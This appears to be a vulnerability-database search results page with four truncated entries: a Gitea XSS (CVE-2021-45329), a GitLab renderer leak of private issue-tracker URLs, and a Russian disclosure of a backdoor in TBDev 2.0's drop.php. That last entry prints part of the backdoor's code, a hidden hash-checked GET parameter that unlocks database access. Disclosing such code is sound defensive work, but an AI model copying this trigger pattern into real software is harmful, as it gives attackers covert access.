4 matches found
Linux Distros Unpatched Vulnerability : CVE-2021-45329
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Cross Site Scripting XSS vulnerability exists in Gitea before 1.5.1 via the repository settings inside the external wiki/issue tracker URL field. CVE-2021-45329...
CVE-2021-45329
Cross Site Scripting XSS vulnerability exists in Gitea before 1.5.1 via the repository settings inside the external wiki/issue tracker URL field...
GitLab: GFM renderer leaks external issue tracker URL of private project
Vulnerability details The GFM renderer has the ability to cross-link issues between projects. When this project is private and the user doesn't have access, the link isn't made. This is good. However, when the private project has an external issue tracker set up, an attacker can extract the...
бекдор в коде торрент-трекера TBDev 2.0 Pre 6 RC0
скрипт: торрент-трекер TBDev версия: 2.0 Pre 6 RC0 от 18 мая 2007 года сайт автора движка: http://bit-torrent.kiev.ua/ бекдор содержится в файле drop.php: ? requireonce"include/bittorrent.php"; dbconn; if md5md5$GET"sd" == "0bffd3d87e7267c7fe686e20acbee7ab" $drops = array; $result = mysqlquery"SH...